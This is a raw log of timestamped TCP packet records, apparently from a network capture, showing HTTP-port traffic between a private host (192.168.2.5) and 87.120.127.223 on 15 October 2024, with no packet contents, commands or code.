Oct 15, 2024 19:22:38.912358999 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912410975 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912421942 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912456036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912496090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912509918 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912528992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912579060 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912621021 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912674904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912703991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912717104 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912735939 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912791967 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912797928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912878036 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912889004 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912918091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912966967 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912981987 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.913000107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913028002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913075924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913077116 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.913110018 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913142920 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.913144112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913208008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.913214922 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.913274050 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.913391113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.925146103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.925179958 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.925211906 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.925246000 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.957143068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.957226992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.957258940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.957325935 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.961188078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.961237907 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.961297035 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.961385965 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.961416006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.961500883 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.969609976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969640017 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969672918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969722986 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969755888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969798088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.969798088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.969798088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.969805002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969839096 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969871044 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969888926 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.969903946 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.969950914 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.998148918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998182058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998214960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998265982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998297930 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998301029 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.998330116 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.998337030 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.998374939 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.000163078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.000214100 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.000247955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.000271082 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.000281096 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.000314951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.000368118 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.009588003 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009639978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009673119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009723902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009754896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009787083 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.009788036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009787083 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.009823084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009835958 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.009864092 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009896040 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009907961 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.009929895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.009999990 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.027621031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.027678967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.027709961 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.027744055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.027777910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.027786016 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.027812004 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.027868986 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028033972 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028270960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028299093 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028354883 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028368950 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028390884 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028440952 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028474092 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028506994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028520107 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028537989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028573036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028603077 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028606892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028640985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028645992 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028646946 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028673887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028707981 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028739929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028763056 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028765917 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028769016 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028804064 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028817892 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028839111 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028871059 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028883934 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028906107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028937101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.028964043 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.028969049 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029012918 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.029227018 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029278994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029309034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029361010 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.029747963 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029824972 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029860020 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029891968 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.029911995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029943943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.029969931 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.029994011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030026913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030047894 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.030061007 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030092955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030126095 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030159950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030179024 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.030191898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.030198097 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.030241013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.042120934 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.042174101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.042206049 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.042227983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.074064016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.074086905 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.074130058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.074179888 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.077100992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.077124119 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.077137947 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.077158928 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.077244043 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.086740971 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086755991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086771011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086817980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086833000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086847067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.086879969 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.086879969 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.086879969 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.087083101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.087096930 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.087111950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.087146997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.087172031 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.113954067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.113986015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.114018917 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.114044905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.114068985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.114100933 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.114150047 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.115725040 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115752935 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115802050 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115803957 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.115837097 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115850925 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.115869045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115900993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115911007 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.115932941 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.115967035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.116066933 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.126580954 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126712084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126760960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126794100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126842976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126853943 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.126874924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126905918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126936913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126969099 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.126970053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.126996040 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.127002954 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.127044916 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.143305063 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143337965 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143367052 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.143412113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143460989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143496037 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143517017 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.143539906 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.143578053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143610001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143640995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143660069 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.143675089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143708944 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.143727064 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.144259930 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144290924 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144324064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144344091 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.144368887 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.144607067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144639015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144670010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.144720078 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.145345926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145396948 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145426035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145457983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.145498037 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145529985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145562887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145596981 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145627975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145628929 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.145659924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145723104 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145777941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.145785093 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145817041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.145859957 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.146399975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146667957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146696091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146728992 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146740913 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.146820068 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.146826029 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146857023 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146945000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.146991968 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.146995068 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147027016 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147068024 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.147094011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147123098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147164106 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.147171021 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147205114 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147217035 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.147237062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147269964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.147279978 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.159446001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.159470081 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.159487963 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.159507036 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.159548998 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.189116955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.189131975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.189150095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.189160109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.189172983 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.189210892 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.192404032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.192424059 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.192434072 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.192471981 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.192504883 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.203836918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.203867912 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.203877926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.203953981 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.207016945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.212709904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.212785006 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.230523109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.230534077 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.230544090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.230600119 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.231642962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231662035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231671095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231718063 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.231748104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231749058 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.231816053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231826067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231909990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231920958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.231965065 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.232413054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.232433081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.232443094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.232482910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.232496977 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.258877039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.258932114 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.258964062 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.258996964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259001017 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.259078026 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259109020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259138107 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.259167910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.259351015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259440899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259490013 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259540081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.259541988 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.259573936 CEST	80	49807	87.120.127.223	192.168.2.5
